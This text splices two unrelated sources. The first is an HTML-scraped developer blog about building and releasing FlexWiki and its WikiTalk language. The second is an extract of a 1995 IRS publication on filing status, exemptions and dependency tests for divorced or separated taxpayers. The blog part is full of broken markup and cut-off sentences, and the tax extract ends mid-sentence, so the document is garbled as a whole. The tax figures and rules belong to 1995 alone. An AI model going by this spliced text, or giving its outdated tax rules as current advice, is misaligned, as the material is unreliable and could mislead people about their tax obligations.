that are too heavy and get in the way of collaboration, no record of project history). That's what originally motivated me to build FlexWiki, starting last year here at Microsoft with <a href="">Chris Anderson</a> and proceeding, well, through today :-) </p> <p>I wanted to test my hypothesis that Wiki could help. There's no question that, at first glance, it seems like Wiki could (help) solve many of these problems. But Wiki's got some downsides of its own. And there's a real honeymoon period, too. So the real questions>) have both been successful there. Second, SourceForge.net has a wide range of tools and services to support the developer community; many of these will be helpful as the FlexWiki development community continues to grow. Third, there are lots of Windows-related projects on SourceForge.net (I think it's over a third). This all adds up to a good strong place for the FlexWiki development community to land.</p> <p><font color="#0000ff"><strong>Why the Common Public License?</strong></font></p> <p>I'm not a lawyer and even though I find the law interesting and engaging, I'm not going to pretend that I am one. The advantages I see in releasing FlexWiki under the CPL going forward are: (1) it's a well-established license used by lots of people on lots of projects (including <a href="">IBM</a>); (2) it provides clear answers to many important questions left open to interpretation by many other "open source" licenses; and (3) it effectively addresses the right set of issues to enable individuals and companies to both contribute to the FlexWiki project as well as to comfortably use FlexWiki as a collaboration tool. This last one is really the most important one for me. I want to enable the broadest range of people to get their hands on FlexWiki, try it out, make it better, etc.</p> <p><i>[Remember, it's all part of my "secret" experiment :-)]</i></p> <p><font color="#0000ff"><strong>You said "better legal environment" above. What did you mean?</strong></font></p> <p>As part of this change with FlexWiki, contributors to the project will assign ownership of their contribution to Microsoft and then, as part of the same agreement, we give it all back to them. This is pretty common practice for a bunch of important open source efforts (like>. Now that all the latest sources are available and we have good tools and such in place, I would like to gather a group of folks in the FlexWiki community together, identify the bugs we need to fix, the features we need to add and then work together to get it done. If you're interested in this work, let me know directly> working together with folks inside Microsoft to get here today. The challenges have really been same same kind of challenges that exist doing something unusual in any big organization. But the people I've worked with - both making FlexWiki better and helping it get to today - made it much better and much easier than it would have been, I think, at most other places. People like ><div style="clear:both;"></div>><div style="clear:both;"></div>><div style="clear:both;"></div>>I love discovering people who are using FlexWiki that I don't know about. It's clearly outgrown my ability to keep track of all the juicy things people are doing. If you know about cool places that FlexWiki is being used, please do try to add them to <a href="">the IUseIt topic on flexwiki.com</a>.</p><div style="clear:both;"></div>><div style="clear:both;"></div>").</font></p> <p><font face="Verdana".</font></p> <p><font face="Verdana">So, I'm still working at it. I continue to try to figure out what works and what doesn't. And to improve. And to automate what I can.</font></p> <p><font face="Verdana" ><div style="clear:both;"></div>><div style="clear:both;"></div>><div style="clear:both;"></div><img src="" width="1" height="1">dornstein Experimental FlexWiki build -- and some new features<p>I've posted a new <a href="">WikiTalkExperimentalBuild</a> on <a href=""></a>. This is the software that's now live on the site. This includes everything needed to make the full FlexWiki UI be based on WikiTalk -- the original goal of the WikiTalk project. I've started to do the documenting of the new features involved (both directly WikiTalk and related features that I had to build along the way -- including TopicBorders and <a href="">advanced TableFormatting</a>). More over the next couple of days as I have time.</p><div style="clear:both;"></div><img src="" width="1" height="1">dornstein! That bug was fun (or "Wiki vandalism by google!")<p>OK. Time for a funny bug story.</p> <p>Yesterday I upgraded the running version of FlexWiki at flexwiki.com to the newest bits from my development environment. It's the first time that the whole FlexWiki UI is built using WikiTalk. I'll be posting information more information about WikiTalk and the new WikiBorders feature over the next day or two. But anyway...</p> <p>One of the UI changes is that the list of old versions of a topic are no longer listed in a drop-down with a button to show one. Now they're links on the page. Which means that web spiders follow them. Further, on each historical version of the page is (er, was :-)) a link that will restore the historical version and make it the latest again. Being links, of course, means that -- you guessed it -- web spiders will follow them. </p> <p>All of this was compounded by an older bug that prevented the NOINDEX, NOFOLLOW instructions for spiders to be correctly emitted.</p> <p>So...</p> <p>This morning we awoke to find that lots of pages on flexwiki.com had been rolled back to previous versions. Wiki vandalism? Proof that people hate us? </p> <p>Nope. Just google doing its job.</p> <p>Anyway, it's should be fixed in the next few minutes...</p><div style="clear:both;"></div><img src="" width="1" height="1">dornstein, if only this were my real job! :-)<p>It's kinda embarrassing.<span style="mso-spacerun: yes"> </span>On the WhoIsWorkignOnWhat page on flexwiki.com, I said I’d be done with all this WikiTalk stuff in January. And I’m still not done. :-(</p> <p>On the other hand, I’ve been doing it in the evenings with a new baby in the house.<span style="mso-spacerun: yes"> </span>And it’s getting pretty close.<span style="mso-spacerun: yes"> </span>And I’m really happy about the results. <span style="mso-spacerun: yes"> </span></p> <p>I’m starting to be able to do the real things that drove the project in the first place. <span style="mso-spacerun: yes"> </span>The whole idea was that it should be possible to write the whole UI for FlexWiki using the Wiki model – and WikiText.<span style="mso-spacerun: yes"> </span>And you should be able to have dynamic information in the UI about the topics themselves (for example, a list of related topics, etc.).</p> <p>I spent a long time getting the WikiTalk language going and then spent a bunch of time working on integrating it into the system so you could use it from within Wiki pages. <span style="mso-spacerun: yes"> </span>Now, I’m close to the finish line.<span style="mso-spacerun: yes"> </span>I can see it. <span style="mso-spacerun: yes"> </span>And I can smell it.</p> <p>This weekend, I added TopicBorders. <span style="mso-spacerun: yes"> </span>These are common borders for a topic (or a group of related topics). <span style="mso-spacerun: yes"> </span>And on these borders is all of the UI for the site plus whatever individual topics or groups of topics want to stick there. <span style="mso-spacerun: yes"> </span>All written in WikiText.<span style="mso-spacerun: yes"> </span>Including, of course, WikiTalk.</p> <p>Hooooooo haaaaaaaa!</p> <p>Check out this screen shot. <span style="mso-spacerun: yes"> </span>It shows the new FlexWiki UI built entirely using WikiTalk. <span style="mso-spacerun: yes"> </span><?xml:namespace prefix = o<o:p></o:p></p> <p><a href=""></a></p> <p>I hope to upload a new build with these features in the next day or two.<span style="mso-spacerun: yes"> </span></p> <p>I’ve got to go back to my real job, tomorrow, though.<span style="mso-spacerun: yes"> </span>Which isn’t bad at all. <span style="mso-spacerun: yes"> </span>In fact, I love my <b>real</b> job.<span style="mso-spacerun: yes"> </span></p> <p>Wiki is cool, too, though.</p><div style="clear:both;"></div><img src="" width="1" height="1">dornstein is born (or at least we're driving quickly towards the hospital!)<p>OK. I've started to post information about <a href="">WikiTalk</a>, my new object-oriented language for <a href="">FlexWiki</a>. It's probably going to talk another few days to get the documentation usable and it'll likely be another few days after that before I post the binaries (and then a week after that when I actually checkin). However, the build on <a href=""></a> is live with the first version of WikiTalk (thought it's really 0.9). Read more about WikiTalk <a href="">here</a>.</p> <p>This has been a blast so far: starting with the concept, writing the lexical analyzer, hand-coding the parser, building the interpreter and using reflection to ties the object system together. It's enough to make me think about going back to writing code for a living :-)</p><div style="clear:both;"></div><img src="" width="1" height="1">dornstein to work...<div class="Section1"> <p><font size="3" face="Times New Roman"><span style='font-size:12.0pt'>OK, I’m back to work. Paternity leave is officially over. I’ve got lots to do (and now less time for fooling around with FlexWiki</span></font> <font face="Wingdings"><span style='font-family:Wingdings'>J</span></font>)…</p> <p><font size="3" face="Times New Roman"><span style='font-size:12.0pt'> </span></font></p></div><div style="clear:both;"></div><img src="" width="1" height="1">dornstein FlexWiki Build Posted<div class="Section1"> <p><font size="1" face="Arial"><span style='font-size:9.0pt;font-family:Arial'>I just posted the binaries for Build 1515 [<a href="">Bits</a>] of FlexWiki on <a href=""></a>. It’s been a month since the last version was released and people have been buuusssssyyyyyy! In this release, we have a bunch of new features including: custom style sheets, URL pattern bug fixes, new security system coming online [with forms-auth], double-click to edit, new behaviors (topic index, topic property extraction), improvements to the newsletter mail delivery SMTP server, enhanced newsletters (wildcarding), FwSync (offline Wiki editing and publishing), the beginnings of a new client-side Wiki editor, FwDocGen to auto-gen .NET class documentation into Wiki topics and (my personal favorite) support for hitting enter in the search box (yeah, Jan!). Read all about it in the <a href="">Release Notes</a>.</span></font></p> <p><font size="1" face="Arial"><span style='font-size:9.0pt;font-family:Arial'>Wow. This collaborative development thing is working pretty well! Thanks to <u><font color="blue"><span style='color:blue'><a href="">Omar Shahine</a></span></font></u>, <u><font color="blue"><span style='color:blue'><a href="">Mike Linnen</a></span></font></u>, <u><a href=""><font color="royalblue"><span style='color:royalblue'>Ryan LaNeve</span></font></a></u>, <u><a href=""><font color="royalblue"><span style='color:royalblue'>Craig Andera</span></font></a></u> and <u><a href=""><font color="royalblue"><span style='color:royalblue'>Jan Lenck</span></font></a></u> for their contributions to this release.</span></font></p> <p><font size="1" face="Arial"><span style='font-size:9.0pt;font-family:Arial'>Now, on to some integration of the updated behavior expression language.</span></font></p> <p><font size="1" face="Arial"><span style='font-size:9.0pt;font-family:Arial'> </span></font></p> <p><font size="1" face="Arial"><span style='font-size:9.0pt;font-family:Arial'> </span></font></p> <p><font size="1" face="Arial"><span style='font-size:9.0pt;font-family:Arial'> </span></font></p></div><div style="clear:both;"></div><img src="" width="1" height="1">dornstein'll be back soon...<DIV class=Section1> <P><SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Verdana"><FONT face=Arial>OK. I’ve been quiet for a while. But I’ve got a good excuse: I’ve got a new kid. My son (my second child) was born on Feb 10. Words, of course, can’t do it all justice. So I won’t try. I’ll just say he’s fab! And my wife is fab. And my (pre-existing) daughter is fab.</FONT></SPAN></P> <P><SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Verdana"><FONT face=Arial>So… I’m on paternity leave (yes, Microsoft takes good care of dads – 4 weeks of paid leave). I’ll be back in a week-and-a-half, but while I’ve been out I’ve had some idle time in the evenings (yes, you heard me right!) and I’ve been working on the </FONT><A href=""><FONT face=Arial>WikiBehaviorExpansionProject</FONT></A><FONT face=Arial>. I’ve got the lexical analyzer, parser and runtime engine basically working. Before I start integrating the new language engine into the main FlexWiki project, I want to get the latest build of FlexWiki released. This is so my (pretty radical) changes aren’t coming on top of the whole pile of other things all queued up from the great work others have done. I’ve been a bit slow at updating new releases because it’s been a somewhat error-prone and manual process – until now. I decided to take a break and write an app that will build all the ZIP files, upload them to the right servers, updated the wikipages describing the release, etc. It’s finally become worth making this all push-button. Should be done in a day or two and we’ll have new binaries released.</FONT></SPAN></P> <P><SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Verdana"><FONT face=Arial>Anyway, the behavior expression language work has been a blast. It’s really exciting to see the new language system working and it’s going to absolutely revolutionize what you can do with FlexWiki. Hopefully I’ll be able to get it all checked in over the next couple of weeks (my personal [stretch] goal is to get it in before I really go back to work).</FONT></SPAN></P> <P><FONT face=Arial size=2><SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Verdana"></SPAN></FONT> </P></DIV><div style="clear:both;"></div><img src="" width="1" height="1">dornstein is outta hand - Behavior Expression Language for FlexWiki. So one of the capabilities of <a href="">FlexWiki</a> that is just starting to be tapped is <a href="">WikiBehaviors</a>. These are the bridge to smart (i.e., code-based) capabilities that let you put dynamic content on your wiki pages. For example, you can use @@Now@@ to put the current time on. Or you can use the new <a href="">XmlTransformWikiBehavior</a> to insert the results of XSLT transformed XML into your page (e.g., showing an RSS feed right on a Wiki page). This is the primary extensibility mechanism for FlexWiki and it needs some more power. For example, wouldn't it be cool if the whole sidebar on the right on the FlexWiki pages could be customized (without changing source code)? What if that sidebar were all built as a wiki page that admins could edit and if it were all built from some new WikiBehaviors? To do this would require a pile of new behaviors (or, actually, surfacing existing code <b>as</b> behaviors). It would also probably require a much more powerful behavior language. I have started the design for both of these things. See <a href="">WikiBehaviorExpansionProject</a>. I must be mad. It's not as if I don't have enough to do in my day job. I'm not sure if I will be able to put any serious time into implementing this any time soon, but maybe I will. And I wanted to get the design and the ideas out in the open -- collaboration collaboration collaboration. <div style="clear:both;"></div><img src="" width="1" height="1">dornstein Build 1480 Released, I finally got over the network problems. Seems my ISP was blocking some of Microsoft's proxy servers; all fixed. <a href="">Build 1480</a> is now available on flexwiki.com. Among the improvements: <ul> <li><b>TopicTips</b> are nice little hover tips that tell you what a topic is before you click on it; they went in earlier but had positioning bugs that are now fixed <li><b>Frame Hosting </b>was busted before. You couldn't host Wiki in a frame or in a SharePoint web part. Now it works. <li>More <b>bug fixes </b>(including some globalization bugs) <li>FlexWiki now has a very cool (but still prototype) <b><a href="">Web Service</a></b> <li>A new <a href="">XmlTransformWikiBehavior</a> that lets you insert the results of an <b>arbitrary XSLT transformation</b> on any arbitrary XML; this is way cool. </ul> Thanks to Mike, Omar, Tommy, Ryan and Mark for their checkins! <div style="clear:both;"></div><img src="" width="1" height="1">dornstein FlexWiki build available have uploaded a new release of FlexWiki to the server (). This includes al of the latest checkins. I'm having trouble updating the rest of the site with information about the changes and new installation instructions because of a DNS problem with seeing. I'll try again later today :-( <div style="clear:both;"></div><img src="" width="1" height="1">dornstein | http://blogs.msdn.com/b/dornstein/atom.aspx?Redirected=true | CC-MAIN-2016-30 | refinedweb | 3,356 | 55.95 |
Are you sure?
This action might not be possible to undo. Are you sure you want to continue?
Cat. No. 15006I Department of the Treasury Internal Revenue Service
Contents
Introduction .............................................. Filing Status .............................................. Joint Return ......................................... Separate Returns ................................ Head of Household ............................. Exemptions ............................................... Exemption for Your Spouse ............... Exemptions for Dependents .............. Dependency Tests .............................. Children of Divorced or Separated Parents .......................................... Multiple Support Agreement .............. Phaseout of Exemptions .................... 2 2 2 3 3 4 4 4 4 5 7 7
Divorced or Separated Individuals
For use in preparing
1995
Returns
Alimony ...................................................... 8 General Rules ..................................... 8 Instruments Executed After 1984 ........................................................ 9 Instruments Executed Before 1985 ........................................................ 10 Qualified Domestic Relations Order .............................................................. 12 Individual Retirement Arrangements .............................................................. 12 Property Settlements .............................. Transfer Between Spouses ................ Gift Tax on Property Settlements ........................................................ Sale of Jointly-Owned Property ......... 12 12 13 14
Costs of Getting a Divorce ..................... 14 Tax Withholding and Estimated Tax .............................................................. 14 Community Property ............................... 15 Community Income ............................. 15 Alimony (Community Income)............. 16 Worksheet for Recapture of Alimony .............................................................. 16 Index ........................................................... 17
Important Change for 1995
Social security numbers for dependents. For 1995, you must list the social security number of every dependent you claim who was born before November 1, 1995. See Exemptions for dependents, later.
Important Reminders
Change of address. If you change your mailing address, be sure to notify the Internal Revenue Service using.
Introduction
This publication explains tax rules that apply if you are divorced or separated from your spouse. The first part covers general filing information. It can help you choose your filing status whether you are separated or divorced. It also can help you decide which exemptions you are entitled to claim, including dependency exemptions. The next part of the publication discusses payments and transfers of property that often occur as a result of divorce and whether you can deduct.
Marital status. If you are considered unmarried, your filing status is single or, if you meet certain requirements, head of household. If you are considered married, your filing status is either married filing a joint return or married filing a separate return. If both you and your spouse have income, you should usually figure your tax on both a joint return and separate returns to see which gives you the lower tax. Considered unmarried. You are considered unmarried for the whole year if either of the following applies. 1) You have obtained a final decree of divorce or separate maintenance by the last day of your tax year. You must follow your state law to determine if you are divorced or legally separated. Exception:. 2) You have obtained a decree of annulment, which holds that no valid marriage ever existed. You also must file amended returns claiming unmarried status for all tax years affected by the annulment that are not closed by the statute of limitations. The statute of limitations generally does not end until 3 years after the due date of your original return.
spouse may be held liable for all the tax due even if all the income was earned by the other spouse. Divorced taxpayers. If you are divorced, you are still jointly and individually responsible for any tax, interest, and penalties due on a joint return filed before your divorce. This responsibility applies even if your divorce decree states that your former spouse will be responsible for any amounts due on previously filed joint returns. Innocent spouse exception. You may not have to pay the additional tax, interest, and penalties if the tax on your joint return was understated by more than $500 because your spouse either: 1) Omitted an item of his or her gross income, or 2) Claimed a deduction, credit, or property basis for which there was no basis in fact or law. To determine whose gross income was omitted (other than income from property), do not apply community property rules. To qualify under this exception, you must meet both of the following requirements. 1) You must establish that you did not know, and had no reason to know, about the tax understatement. 2) It must be unfair, under all the facts and circumstances, to hold you liable for the additional tax, interest, and penalties. A factor in determining that it is unfair to hold you liable is the absence of any significant benefit to you, either direct or indirect, from the understatement of tax. Your receipt of property from your spouse may be a significant benefit, even if it is received several years after the year of the tax understatement. Normal support is not a significant benefit.. Tax refund applied to spouse’s debts. If your spouse has not paid child or spousal support payments or certain federal debts such as student loans, the refund shown on your joint return may be used to pay the past-due amount. But you can get your share of the refund if you qualify as an injured spouse. Injured spouse. You qualify as an injured spouse if you meet all the following conditions:
Useful Items
You may want to see: Publications □ 501 Exemptions, Standard Deduction, and Filing Information □ 544 Sales and Other Dispositions of Assets □ 555 Federal Tax Information on Community Property □ 590 Individual Retirement Arrangements (IRAs) Ordering publications and forms. To order free publications and forms, call 1–800–TAX– FORM (1–800–829–3676). If you have access to TDD equipment, you can call 1–800–829– 4059. See your tax package for the hours of operation. You can also write to the IRS Forms Distribution Center nearest you. Check your income tax package for the address. If you have access to a personal computer and a modem, you can also get many forms and publications electronically. See How To Get Forms and Publications in your income tax package for details. Asking tax questions. You can call the IRS with your tax question Monday through Friday during regular business hours. Check your telephone book for the local number or you can call 1–800–829–1040 (1–800–829–4059 for TDD users).
Considered married. You are considered.
Joint Return
If you are married, you and your spouse can choose to file a joint return. If you file jointly, you both must include all your income, exemptions, deductions, and credits on that return. You can file a joint return even if one of you had no income or deductions. To file a joint return, at least one of you must be a U.S. citizen or resident at the end of the tax year. However,. Get Publication 519, U.S. Tax Guide for Aliens. Signing a joint return. Both you and your spouse must sign the return, or it will not be considered a joint return. Joint and individual liability. Both you and your spouse are responsible, jointly and individually, for the tax and any interest or penalty due on your joint return. This means that one
Filing Status
Your filing status is used in determining your filing requirement, standard deduction, and correct tax. It may also determine whether you can claim certain deductions and credits. The filing status you may choose depends partly on your marital status on the last day of your tax year.
Page 2
1) You are not required to pay the past-due amount. 2) You received and reported income (such as wages, taxable interest, etc.) on the joint return. 3) You made and reported tax payments (such as federal income tax withheld from your wages or estimated tax payments) on the joint return. If you are an injured spouse, you can obtain your portion of the joint refund by completing Form 8379, Injured Spouse Claim and Allocation. Follow the instructions on the back of the form.
return the amount of state income tax you paid during the year. If you file a joint state income tax return, and you and your spouse are jointly and individually liable for the full amount of the state income tax, you can deduct on your separate federal return the amount of state income tax you alone paid during the year. But if you are liable for only your own share of the state income tax, your deduction is limited to the smaller of: 1) The state income tax you alone paid during the year, or 2) The total state income tax you and your spouse paid during the year multiplied by a fraction, the numerator of which is the amount of your gross income and the denominator of which is your combined gross income. If you sustain a casualty loss on a residence you own as tenants by the entirety, you can report half of the loss on your separate return. Neither spouse may report the total casualty loss. Separate liability. If you and your spouse file separately, you each are responsible only for the tax due on your own return. Separate returns may give you a higher tax. Some married couples file separate returns because each wants to be responsible only for his or her own tax. But in almost all instances, if you file separate returns, you will pay more combined federal tax than you would with a joint return. This is because the tax rate is higher for married persons filing separately. The following rules also apply if you file a separate return. 1) You cannot take the credit for child and dependent care expenses in most cases. 2) You cannot take the earned income credit. 3) You cannot exclude the interest from Series EE savings bonds that you used for higher education expenses. 4) If you lived with your spouse at any time during the tax year— a) You cannot claim the credit for the elderly or the disabled, and b) You will have to include in income up to 85% of any social security or equivalent railroad retirement benefits you received. 5) You will become subject to the limit on itemized deductions and the phaseout of the deduction for personal exemptions at income levels that are half of those for a joint return. Joint return after separate returns. If you or your spouse, or both, file separate returns, you can change to a joint return any time within 3 years from the due date (not including extensions) of the separate returns. This applies even if the separate returns were filed as head of household. Use Form 1040X, Amended U.S. Individual Income Tax Return.
If the tax on your joint return is more than the total paid on your separate returns, you must pay the additional tax when you file Form 1040X. Separate returns after joint return. After the due date of your return, you and your spouse cannot file separate returns if you previously filed a joint return.
Head of Household
You may be eligible to file as head of household if you meet the requirements discussed later. Filing as head of household has the following advantages. 1) You can claim the standard deduction even if your spouse itemizes deductions on a married filing separate return. 2) Your standard deduction is higher than that allowed on a single or married filing separate return. 3) Your tax rate may be lower than that on a single or married filing separate return. 4) You may be able to claim certain credits you cannot claim on a married filing separate return. 5) You will become subject to the limit on itemized deductions at an income level that is twice that for a married filing separate return. 6) You will become subject to the phaseout of the deduction for personal exemptions at a higher income level than those for a single or a married filing separate return. Requirements. You can file as head of household only if you were unmarried or were considered unmarried on the last day of the year. You also must have paid more than half the cost of keeping up a home that was the main home for more than half the year (except for temporary absences, such as for school) for you and any of the following: 1) Your unmarried child, grandchild, stepchild, foster child, or adopted child. This child (except foster child) does not have to be your dependent. A foster child must qualify as your dependent. 2) Your married child, grandchild, stepchild, foster child, or adopted child whom you can claim as your. 3) Any other relative whom you can claim as a dependent. However, your dependent parent does not have to live with you (see Father or mother, later). For persons who qualify as a relative, see Test 1—Relationship under Dependency Tests, later.
Note. Refunds that involve community property states must be divided according to local law. If you live in a community property state in which all community property is subject to the debts of either spouse, your entire refund is subject to offset. Claims from California, Idaho, Louisiana, and Texas will usually result in no refund for the injured spouse.
Separate Returns
If you and your spouse file separate returns, you should each report only your own income, exemptions, deductions, and credits on your individual return. You can also file a separate return if only one of you had income. For information on exemptions you can claim on your separate return, see Exemptions, later. Community or separate income. If you live in a community property state and file a separate return, your income may be separate income or community income for income tax purposes. For more information, see Community Income, later. Itemized deductions. If you and your spouse file separate returns and one of you itemizes deductions, the other spouse will not qualify for the standard deduction and should also itemize deductions. Dividing itemized deductions. You may be able to claim itemized deductions on a separate return for certain expenses that you paid separately or jointly with your spouse. The rules that follow apply only if you do not live in a community property state. If you paid the medical expenses of a qualifying person with funds deposited in a joint checking account in which you and your spouse have an equal interest, you and your spouse are presumed to have paid the medical expenses equally for purposes of computing the medical expense deduction on your separate returns. You can rebut this presumption if you can show that you alone paid the expenses. If both you and your spouse paid property tax or mortgage interest on property held as tenants by the entirety, you can deduct on your separate return the amount of property tax or qualifying interest that you alone actually paid. If you file a separate state income tax return, you can deduct on your separate federal
Page 3
Your married child or other relative will not qualify you as a head of household if you claim that person as a dependent under a multiple support agreement (discussed later). Father or mother. If your dependent parent does not live with you, you can file as head of household if you paid more than half the cost of keeping up a home that was your parent’s main home for the whole year. Keeping up the main home for your dependent parent includes paying more than half the cost of keeping your parent in a rest home or home for the elderly. Considered unmarried. If you are married, you will be considered unmarried if you meet all of the following tests. 1) You file a separate return. 2) You paid more than half the cost of keeping up your home for the tax year. 3) Your spouse did not live in your home during the last 6 months of the tax year. 4) Your home was, for more than half the year, the main home of your child, stepchild, adopted child, or foster child whom you can claim as a.
your dependent under the dependency tests discussed later.
Dependency Tests
A dependent must meet all the following tests: 1) Relationship, 2) Married person, 3) Citizen or resident, 4) Income, and 5) Support.
Exemption for Your Spouse
Your spouse is never considered your dependent. You can take an exemption for your spouse only because you are married. Joint return. If you and your spouse file a joint return, you can claim an exemption for each of you. Separate return. If you file a separate return, you can take an exemption for your spouse only if your spouse had no gross income and was not the dependent of someone else. This is true even if your spouse is a nonresident alien. Alimony paid. If you paid alimony to your spouse and deduct it on your separate return, you cannot take an exemption for your spouse. This is because alimony is gross income to the spouse who received it. Former spouse. You cannot take an exemption for your former spouse for the year in which you were divorced or legally separated under a final decree. This rule applies even if you paid all your former spouse’s support that year.
Test 1—Relationship
The dependent must either: Be related to you, or Have been a member of your household. Related. If the dependent is not a member of your household, he or she must be related to you (or your spouse if you are filing a joint return) in one of the following ways:
Child Stepchild Mother Father Grandparent Great-grandparent, etc. Brother Sister Grandchild Great-grandchild, etc. Half-brother Half-sister Stepbrother Stepsister Stepmother Stepfather Mother-in-law Father-in-law Brother-in-law Sister-in-law Son-in-law Daughter-in-law If related by blood: Uncle Aunt Nephew Niece
Exemptions for Dependents
You can take an exemption for each person who is your dependent. A dependent is any person who meets all five of the dependency tests discussed below.
Any relationships that have been established by marriage are not considered ended by death or divorce. Child. Your child is: 1) Your son, daughter, stepson, stepdaughter, or adopted son or daughter, 2) A child who lived in your home as a member of your family, if placed with you by an authorized placement agency for legal adoption, or 3) A foster child (any child who lived in your home as a member of your family for the whole year, for whom you did not receive qualified foster care payments). Member of household. If the dependent is not related to you, he or she must have lived in your home as a member of your household for the whole year (except for temporary absences, such as for vacation or school). A person is not a member of your household if at any time during your tax year the relationship between you and that person violates local law.
Nonresident alien spouse. If your spouse was a nonresident alien at any time during the tax year, and you have not chosen to treat your spouse as a resident alien, you are considered unmarried for head of household purposes. However, your spouse does not qualify as a relative. You must have another qualifying relative and meet the other requirements to file as head of household.
Keeping up a home. You are keeping up a home only if you pay more than half the cost of its upkeep. This includes such costs as rent, mortgage interest, taxes, insurance on the home, repairs, utilities, and food eaten in the home. This does not include the cost of clothing, education, medical treatment, or transportation for any member of the household. For more information on filing as head of household, get Publication 501.
Note. If you can claim an exemption for your dependent, the dependent cannot claim his or her own exemption on his or her own tax return. This is true even if you do not claim the dependent’s exemption or the exemption will be reduced or eliminated under the phaseout rule for high-income individuals.
Social security numbers for dependents. For 1995, if you claim a dependent who was born before November 1, 1995, you must list the dependent’s social security number (SSN) on your Form 1040 or Form 1040A. If you do not list the dependent’s SSN when required or if you list an incorrect SSN, you may be subject to a $50 penalty. Birth or death of dependent. You can take an exemption for a dependent who was born or who died during the year if he or she met the dependency tests while alive. This means that a child who lived only for a moment can be claimed as a dependent. Whether a child was born alive depends on state or local law. There must be proof of a live birth shown by an official document, such as a birth certificate. You cannot claim an exemption for a stillborn child.
Exemptions
For 1995 you are allowed a $2,500 deduction for each exemption you can claim. However, see Phaseout of Exemptions, later. You can claim your exemptions whether or not you itemize deductions. You can claim your own exemption unless someone else can claim you as a dependent. If you are married, you may be able to take an exemption for your spouse. You can take an exemption for each person who qualifies as Page 4
Test 2—Married Person
The dependent cannot have filed a joint return for 1995. However, this test does not have to be met if neither the dependent nor the dependent’s spouse is required to file, but they file a joint return to get a refund of all tax withheld.
Test 3—Citizen or Resident
To meet the citizen or resident test, a person must be a U.S. citizen or resident, or a resident of Canada or Mexico for some part of the calendar year in which your tax year begins.. Special rule for your adopted child. If you are a U.S. citizen living abroad who has legally adopted a child who meets the other dependency tests, the citizen or resident test does not apply. The child is your dependent and you may take the exemption if your home is the child’s main home and the child is a member of your household for your entire tax year.
half your child’s support in 1995, the support test for your child may be based on a special rule. See Children of Divorced or Separated Parents, later. In figuring total support, you must include money the dependent used for his or her own support, even if this money was not taxable (for example, gifts, savings, and. Do not include in support items such as income tax and social security and Medicare taxes paid by persons from their own income, premiums for life insurance, or funeral expenses. Joint ownership of home. If your dependent lives with you in a home that is jointly owned by you and your spouse or former spouse, and each of you has the right to use and live in the home, each of you is considered to provide half your dependent’s lodging. However, if your decree of divorce gives only you the right to use and live in the home, you are considered to provide your dependent’s entire lodging, even though legal title to the home remains in the names of both you and your former spouse. Capital items. You must include capital items such as a car or furniture in figuring support, but only if they were actually given to, or bought by, the dependent for his or her use or benefit. Do not include the cost of a capital item for the household or for use by persons other than the dependent. For example, include in support a bicycle purchased by and used solely by the dependent for transportation; do not include a lawn mower you purchase that is occasionally used by the dependent.
2) One or both parents provided more than half the child’s total support for the calendar year. 3) One or both parents had custody of the child for more than half the calendar year.
Child is defined earlier under Test 1— Relationship.
Support provided by parents. Support given to a child of a divorced or separated parent by a relative or friend is not included as support given by that parent. Example. You are divorced. During the whole year, you and your child lived with your mother in a house she owns. You must include the fair rental value of the home provided by your mother for your child in figuring total support, but not as part of the support provided by you. Remarried parent. If you remarried, the support your new spouse gave is treated as given by you. Example. You have two children from a former marriage who lived with you. You remarried and lived in a home owned by your present spouse. The fair rental value of the home provided to the children by your present spouse is treated as provided by you. Exceptions. The special rule does not apply in any of the following situations. 1) A third party, such as a relative or friend, gave half or more of the child’s support. 2) The child was in the custody of someone other than the parents for half the year or more. 3) The child’s support is determined under a multiple support agreement. 4) The parents were separated under a written separation agreement, or lived apart, but they file a joint return for the tax year.
Test 4—Income
The dependent must have received less than $2,500 of gross income in 1995. Gross income does not include nontaxable income, such as welfare benefits or nontaxable social security benefits. Special rules for your dependent child. The income test does not apply if your child: 1) Was under age 19 at the end of 1995, or 2) Was a student during 1995 and was under age 24 at the end of 1995.
Child. See Test 1—Relationship, earlier, for the definition of ‘‘child.’’ Student. To qualify as a student, your child must have been, during some part of each of 5 calendar months (not necessarily consecutive) during 1995:
1) A full-time student at a school that has a regular teaching staff and course of study, and a regularly enrolled body of students in attendance, or 2) A student taking a full-time, on-farm training course given by a school described in (1) above or a state, county, or local government. A full-time student is one who was enrolled for the number of hours or courses the school considers to be full-time attendance. The term ‘‘school’’ includes elementary schools, junior and senior high schools, colleges, universities, and technical, trade, and mechanical schools. It does not include onthe-job training courses, correspondence schools, or night schools.
Custodial Parent ‘‘split’’ custody, or if the validity of a decree or agreement awarding custody is uncertain because of legal proceedings pending on the last day of the calendar year. If the parents were divorced or separated during the year after having had joint custody Page 5
Children of Divorced or Separated Parents
In general, a dependent must meet the support test explained earlier under Test 5—Support. However, the support test for a child of divorced or separated parents is based on a special rule (explained under Custodial Parent and Noncustodial Parent, later) if certain requirements are met.
Special-Rule Requirements
In determining whether the support test for a child of divorced or separated parents has been met, the special rule applies only if the parents meet all of the following three requirements. 1) The parents were divorced or legally separated under a decree of divorce or separate maintenance, were separated under a written separation agreement, or lived apart at all times during the last 6 months of the calendar year.
Test 5—Support
In general, you must have given over half the dependent’s support in 1995. If you file a joint return, the support could have come from you or your spouse. Even if you did not give over half the dependent’s support, you will be treated as having given over half the support if you meet the tests explained later under Multiple Support Agreement. If you are divorced or separated and you or the other parent, or both together, gave over
Page 6
of the child before the separation, the parent who had custody for the greater part of the rest of the year is considered the custodial parent for the tax year.
Example 1. Under your divorce decree, you have custody of your child for 10 months of the year. Your former spouse has custody for the other 2 months. You and your former spouse provided the child’s total support. You are considered to have given more than half the child’s support. Example 2. You and your former spouse provided your child’s total support for 1995. You had custody of your child under your 1990 divorce decree, but on October 16, 1995, a new custody decree granted custody to your former spouse. Because you had custody for the greater part of the year, you are considered to have provided more than half the child’s support. Example 3. You were separated on June 1. Your child’s support for the year was $1,200, of which you gave $500, your spouse $400, and the child’s grandparents $300. No multiple support agreement was entered into. (See Multiple Support Agreement, later.) Before the separation, you and your spouse had joint custody of your child. Your spouse had custody from June through September and you had custody from October through December. Because your spouse had custody for 4 of the 7 months following the separation, your spouse was the custodial parent for the year and is treated as having given more than half the child’s support for the year.
the child’s exemption. Because the agreement was made after 1984, you are considered to have given over half the child’s support only if your spouse agrees not to claim the child’s exemption on Form 8332 or a similar statement.
